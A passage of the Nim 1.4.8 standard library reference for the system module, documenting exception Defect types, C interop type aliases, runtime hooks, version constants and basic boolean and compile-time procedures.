/ 3.0, log(1.1)` **Note**: Nim currently does not detect these! [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L133) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L133) ``` DeadThreadDefect = object of Defect ``` Raised if it is attempted to send a message to a dead thread. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L140) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L140) ``` NilAccessDefect = object of Defect ``` Raised on dereferences of `nil` pointers. This is only raised if the [segfaults module](segfaults) was imported! [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L142) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L142) ``` ArithmeticError {...}{.deprecated: "See corresponding Defect".} = ArithmeticDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L147) ``` DivByZeroError {...}{.deprecated: "See corresponding Defect".} = DivByZeroDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L148) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L148) ``` OverflowError {...}{.deprecated: "See corresponding Defect".} = OverflowDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L149) ``` AccessViolationError {...}{.deprecated: "See corresponding Defect".} = AccessViolationDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L150) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L150) ``` AssertionError {...}{.deprecated: "See corresponding Defect".} = AssertionDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L151) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L151) ``` OutOfMemError {...}{.deprecated: "See corresponding Defect".} = OutOfMemDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L152) ``` IndexError {...}{.deprecated: "See corresponding Defect".} = IndexDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L153) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L153) ``` FieldError {...}{.deprecated: "See corresponding Defect".} = FieldDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L155) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L155) ``` RangeError {...}{.deprecated: "See corresponding Defect".} = RangeDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L156) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L156) ``` StackOverflowError {...}{.deprecated: "See corresponding Defect".} = StackOverflowDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L157) ``` ReraiseError {...}{.deprecated: "See corresponding Defect".} = ReraiseDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L158) ``` ObjectAssignmentError {...}{.deprecated: "See corresponding Defect".} = ObjectAssignmentDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L159) ``` ObjectConversionError {...}{.deprecated: "See corresponding Defect".} = ObjectConversionDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L160) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L160) ``` FloatingPointError {...}{.deprecated: "See corresponding Defect".} = FloatingPointDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L161) ``` FloatInvalidOpError {...}{.deprecated: "See corresponding Defect".} = FloatInvalidOpDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L162) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L162) ``` FloatDivByZeroError {...}{.deprecated: "See corresponding Defect".} = FloatDivByZeroDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L163) ``` FloatOverflowError {...}{.deprecated: "See corresponding Defect".} = FloatOverflowDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L164) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L164) ``` FloatUnderflowError {...}{.deprecated: "See corresponding Defect".} = FloatUnderflowDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L165) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L165) ``` FloatInexactError {...}{.deprecated: "See corresponding Defect".} = FloatInexactDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L166) ``` DeadThreadError {...}{.deprecated: "See corresponding Defect".} = DeadThreadDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L167) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L167) ``` NilAccessError {...}{.deprecated: "See corresponding Defect".} = NilAccessDefect ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L168) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L168) ``` JsRoot = ref object of RootObj ``` Root type of the JavaScript object hierarchy [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L567) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L567) ``` owned[T] {...}{.magic: "BuiltinType".} ``` type constructor to mark a ref/ptr or a closure as `owned`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L824) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L824) ``` Endianness = enum littleEndian, bigEndian ``` Type describing the endianness of a processor. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1037) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1037) ``` TaintedString = string ``` A distinct string type that is tainted, see [taint mode](manual_experimental#taint-mode) for details. It is an alias for `string` if the taint mode is not turned on. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1114) ``` ByteAddress = int ``` is the signed integer type that should be used for converting pointers to integer addresses for readability. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1348) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1348) ``` BiggestFloat = float64 ``` is an alias for the biggest floating point type the Nim compiler supports. Currently this is `float64`, but it is platform-dependent in general. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1352) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1352) ``` BiggestUInt = uint64 ``` is an alias for the biggest unsigned integer type the Nim compiler supports. Currently this is `uint32` for JS and `uint64` for other targets. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1363) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1363) ``` clong {...}{.importc: "long", nodecl.} = int ``` This is the same as the type `long` in *C*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1376) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1376) ``` culong {...}{.importc: "unsigned long", nodecl.} = uint ``` This is the same as the type `unsigned long` in *C*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1378) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1378) ``` cchar {...}{.importc: "char", nodecl.} = char ``` This is the same as the type `char` in *C*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1382) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1382) ``` cschar {...}{.importc: "signed char", nodecl.} = int8 ``` This is the same as the type `signed char` in *C*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1384) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1384) ``` cshort {...}{.importc: "short", nodecl.} = int16 ``` This is the same as the type `short` in *C*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1386) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1386) ``` cint {...}{.importc: "int", nodecl.} = int32 ``` This is the same as the type `int` in *C*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1388) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1388) ``` csize {...}{.importc: "size_t", nodecl, deprecated: "use `csize_t` instead".} = int ``` This isn't the same as `size_t` in *C*. Don't use it. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1390) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1390) ``` csize_t {...}{.importc: "size_t", nodecl.} = uint ``` This is the same as the type `size_t` in *C*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1392) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1392) ``` clonglong {...}{.importc: "long long", nodecl.} = int64 ``` This is the same as the type `long long` in *C*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1394) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1394) ``` cfloat {...}{.importc: "float", nodecl.} = float32 ``` This is the same as the type `float` in *C*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1396) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1396) ``` cdouble {...}{.importc: "double", nodecl.} = float64 ``` This is the same as the type `double` in *C*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1398) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1398) ``` clongdouble {...}{.importc: "long double", nodecl.} = BiggestFloat ``` This is the same as the type `long double` in *C*. This C type is not supported by Nim's code generator. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1400) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1400) ``` cuchar {...}{.importc: "unsigned char", nodecl.} = char ``` This is the same as the type `unsigned char` in *C*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1404) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1404) ``` cushort {...}{.importc: "unsigned short", nodecl.} = uint16 ``` This is the same as the type `unsigned short` in *C*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1406) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1406) ``` cuint {...}{.importc: "unsigned int", nodecl.} = uint32 ``` This is the same as the type `unsigned int` in *C*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1408) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1408) ``` culonglong {...}{.importc: "unsigned long long", nodecl.} = uint64 ``` This is the same as the type `unsigned long long` in *C*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1410) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1410) ``` cstringArray {...}{.importc: "char**", nodecl.} = ptr UncheckedArray[cstring] ``` This is binary compatible to the type `char**` in *C*. The array's high value is large enough to disable bounds checking in practice. Use [cstringArrayToSeq proc](#cstringArrayToSeq,cstringArray,Natural) to convert it into a `seq[string]`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1413) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1413) ``` PFloat32 = ptr float32 ``` An alias for `ptr float32`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1419) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1419) ``` PFloat64 = ptr float64 ``` An alias for `ptr float64`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1420) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1420) ``` PInt64 = ptr int64 ``` An alias for `ptr int64`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1421) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1421) ``` PInt32 = ptr int32 ``` An alias for `ptr int32`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1422) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1422) ``` AllocStats = object allocCount: int deallocCount: int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L54) ``` AtomType = SomeNumber | pointer | ptr | char | bool ``` Type Class representing valid types for use with atomic procs [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/atomics.nim#L17) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/atomics.nim#L17) ``` GC_Strategy = enum gcThroughput, ## optimize for throughput gcResponsiveness, ## optimize for responsiveness (default) gcOptimizeTime, ## optimize for speed gcOptimizeSpace ## optimize for memory footprint ``` The strategy the GC should use for the application. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_interface.nim#L10) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_interface.nim#L10) ``` PFrame = ptr TFrame ``` Represents a runtime frame of the call stack; part of the debugger API. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1948) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1948) ``` TFrame {...}{.importc, nodecl, final.} = object prev*: PFrame ## Previous frame; used for chaining the call stack. procname*: cstring ## Name of the proc that is currently executing. line*: int ## Line number of the proc that is currently executing. filename*: cstring ## Filename of the proc that is currently executing. len*: int16 ## Length of the inspectable slots. calldepth*: int16 ## Used for max call depth checking. when NimStackTraceMsgs: frameMsgLen*: int ## end position in frameMsgBuf for this frame. ``` The frame itself. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1951) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1951) ``` FileSeekPos = enum fspSet, ## Seek to absolute value fspCur, ## Seek relative to current position fspEnd ## Seek relative to end ``` Position relative to which seek should happen. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2138) ``` ForeignCell = object data*: pointer owner: ptr GcHeap ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_common.nim#L11) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_common.nim#L11) ``` BackwardsIndex = distinct int ``` Type that is constructed by `^` for reversed array accesses. (See [^ template](#%5E.t,int)) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2451) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2451) ``` NimNode {...}{.magic: "PNimrodNode".} = ref NimNodeObj ``` Represents a Nim AST node. Macros operate on this type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2750) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2750) ``` ForLoopStmt {...}{.compilerproc.} = object ``` A special type that marks a macro as a for-loop macro. See ["For Loop Macro"](manual#macros-for-loop-macro). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L3056) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L3056) Vars ---- ``` programResult: int ``` deprecated, prefer `quit` or `exitprocs.getProgramResult`, `exitprocs.setProgramResult`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1138) ``` globalRaiseHook: proc (e: ref Exception): bool {...}{.nimcall, gcsafe, locks: 0.} ``` With this hook you can influence exception handling on a global level. If not nil, every 'raise' statement ends up calling this hook. **Warning**: Ordinary application code should never set this hook! You better know what you do when setting this. If `globalRaiseHook` returns false, the exception is caught and does not propagate further through the call stack. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1900) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1900) ``` localRaiseHook: proc (e: ref Exception): bool {...}{.nimcall, gcsafe, locks: 0.} ``` With this hook you can influence exception handling on a thread local level. If not nil, every 'raise' statement ends up calling this hook. **Warning**: Ordinary application code should never set this hook! You better know what you do when setting this. If `localRaiseHook` returns false, the exception is caught and does not propagate further through the call stack. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1910) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1910) ``` outOfMemHook: proc () {...}{.nimcall, tags: [], gcsafe, locks: 0, raises: [].} ``` Set this variable to provide a procedure that should be called in case of an out of memory event. The standard handler writes an error message and terminates the program. `outOfMemHook` can be used to raise an exception in case of OOM like so: ``` var gOutOfMem: ref EOutOfMemory new(gOutOfMem) # need to be allocated *before* OOM really happened! gOutOfMem.msg = "out of memory" proc handleOOM() = raise gOutOfMem system.outOfMemHook = handleOOM ``` If the handler does not raise an exception, ordinary control flow continues and the program is terminated. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1921) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1921) ``` unhandledExceptionHook: proc (e: ref Exception) {...}{.nimcall, tags: [], gcsafe, locks: 0, raises: [].} ``` Set this variable to provide a procedure that should be called in case of an `unhandle exception` event. The standard handler writes an error message and terminates the program, except when using `--os:any` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1941) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1941) ``` errorMessageWriter: (proc (msg: string) {...}{.tags: [WriteIOEffect], gcsafe, locks: 0, nimcall.}) ``` Function that will be called instead of `stdmsg.write` when printing stacktrace. Unstable API. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L17) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L17) ``` onUnhandledException: (proc (errorMsg: string) {...}{.nimcall, gcsafe.}) ``` Set this error handler to override the existing behaviour on an unhandled exception. The default is to write a stacktrace to `stderr` and then call `quit(1)`. Unstable API. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L337) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L337) Lets ---- ``` nimvm: bool = false ``` May be used only in `when` expression. It is true in Nim VM context and false otherwise. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L503) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L503) Consts ------ ``` on = true ``` Alias for `true`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L19) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L19) ``` off = false ``` Alias for `false`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L20) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L20) ``` appType: string = "" ``` A string that describes the application type. Possible values: `"console"`, `"gui"`, `"lib"`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L512) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L512) ``` NoFakeVars = false ``` `true` if the backend doesn't support "fake variables" like `var EBADF {.importc.}: cint`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L518) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L518) ``` isMainModule: bool = false ``` True only when accessed in the main module. This works thanks to compiler magic. It is useful to embed testing code in a module. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1041) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1041) ``` CompileDate: string = "0000-00-00" ``` The date (in UTC) of compilation as a string of the form `YYYY-MM-DD`. This works thanks to compiler magic. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1045) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1045) ``` CompileTime: string = "00:00:00" ``` The time (in UTC) of compilation as a string of the form `HH:MM:SS`. This works thanks to compiler magic. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1049) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1049) ``` cpuEndian: Endianness = littleEndian ``` The endianness of the target CPU. This is a valuable piece of information for low-level code only. This works thanks to compiler magic. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1053) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1053) ``` hostOS: string = "" ``` A string that describes the host operating system. Possible values: `"windows"`, `"macosx"`, `"linux"`, `"netbsd"`, `"freebsd"`, `"openbsd"`, `"solaris"`, `"aix"`, `"haiku"`, `"standalone"`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1058) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1058) ``` hostCPU: string = "" ``` A string that describes the host CPU. Possible values: `"i386"`, `"alpha"`, `"powerpc"`, `"powerpc64"`, `"powerpc64el"`, `"sparc"`, `"amd64"`, `"mips"`, `"mipsel"`, `"arm"`, `"arm64"`, `"mips64"`, `"mips64el"`, `"riscv64"`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1065) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1065) ``` nimEnableCovariance = false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1082) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1082) ``` QuitSuccess = 0 ``` is the value that should be passed to [quit](#quit,int) to indicate success. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1129) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1129) ``` QuitFailure = 1 ``` is the value that should be passed to [quit](#quit,int) to indicate failure. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1133) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1133) ``` Inf = 0x7FF0000000000000'f64 ``` Contains the IEEE floating point value of positive infinity. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1500) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1500) ``` NegInf = 0xFFF0000000000000'f64 ``` Contains the IEEE floating point value of negative infinity. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1502) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1502) ``` NaN = 0x7FF7FFFFFFFFFFFF'f64 ``` Contains an IEEE floating point value of *Not A Number*. Note that you cannot compare a floating point value to this value and expect a reasonable result - use the `classify` procedure in the [math module](math) for checking for NaN. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1504) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1504) ``` nimCoroutines = false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1890) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1890) ``` NimMajor: int = 1 ``` is the major number of Nim's version. Example: ``` when (NimMajor, NimMinor, NimPatch) >= (1, 3, 1): discard ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2114) ``` NimMinor: int = 4 ``` is the minor number of Nim's version. Odd for devel, even for releases. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2121) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2121) ``` NimPatch: int = 8 ``` is the patch number of Nim's version. Odd for devel, even for releases. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2125) ``` NimVersion: string = "1.4.8" ``` is the version of Nim as a string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2133) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2133) ``` nativeStackTraceSupported = false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/excpt.nim#L136) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/excpt.nim#L136) Procs ----- ``` proc `not`(x: bool): bool {...}{.magic: "Not", noSideEffect.} ``` Boolean not; returns true if `x == false`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L45) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L45) ``` proc `and`(x, y: bool): bool {...}{.magic: "And", noSideEffect.} ``` Boolean `and`; returns true if `x == y == true` (if both arguments are true). Evaluation is lazy: if `x` is false, `y` will not even be evaluated. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L48) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L48) ``` proc `or`(x, y: bool): bool {...}{.magic: "Or", noSideEffect.} ``` Boolean `or`; returns true if `not (not x and not y)` (if any of the arguments is true). Evaluation is lazy: if `x` is true, `y` will not even be evaluated. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L53) ``` proc `xor`(x, y: bool): bool {...}{.magic: "Xor", noSideEffect.} ``` Boolean `exclusive or`; returns true if `x != y` (if either argument is true while the other is false). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L58) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L58) ``` proc compileOption(option: string): bool {...}{.magic: "CompileOption", noSideEffect.} ``` Can be used to determine an `on|off` compile-time option. Example: ``` when compileOption("floatchecks"): echo "compiled with floating point NaN and Inf checks" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L58) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L58) ``` proc compileOption(option, arg: string): bool {...}{.magic: "CompileOptionArg", noSideEffect.} ``` Can be used to determine an enum compile-time option. Example: ``` when compileOption("opt", "size") and compileOption("gc", "boehm"): echo "compiled with optimization for size and uses Boehm's GC" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L66) ``` proc `or`(a, b: typedesc): typedesc {...}{.magic: "TypeTrait", noSideEffect.} ``` Constructs an `or` meta class. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L77) ``` proc `and`(a, b: typedesc): typedesc {...}{.magic: "TypeTrait", noSideEffect.} ``` Constructs an `and` meta class. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L80) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L80) ``` proc `not`(a: typedesc): typedesc {...}{.magic: "TypeTrait", noSideEffect.} ``` Constructs an `not` meta class. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L83) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L83) ``` proc defined(x: untyped): bool {...}{.magic: "Defined", noSideEffect, compileTime.} ``` Special compile-time procedure that checks whether `x` is defined. `x` is an external symbol introduced through the compiler's [-d:x switch](nimc#compiler-usage-compile-time-symbols) to enable build time conditionals: ``` when not defined(release): # Do here programmer friendly expensive sanity checks. # Put here the normal code ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L94) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L94) ``` proc runnableExamples(rdoccmd = ""; body: untyped) {...}{.magic: "RunnableExamples".} ``` A section you should use to mark runnable example code with.* In normal debug and release builds code within a `runnableExamples` section is ignored. * The documentation generator is aware of these examples and considers them part of the `##` doc comment. As the last step of documentation generation each runnableExample is put in its own file `$file_examples$i.nim`, compiled and tested. The collected examples are put into their own module to ensure the examples do not refer to non-exported symbols. Usage: ``` proc double*(x: int): int = ## This proc doubles a number. runnableExamples: ## at module scope assert double(5) == 10 block: ## at block scope defer: echo "done" result = 2 * x runnableExamples "-d:foo -b:cpp": import std/compilesettings doAssert querySetting(backend) == "cpp" 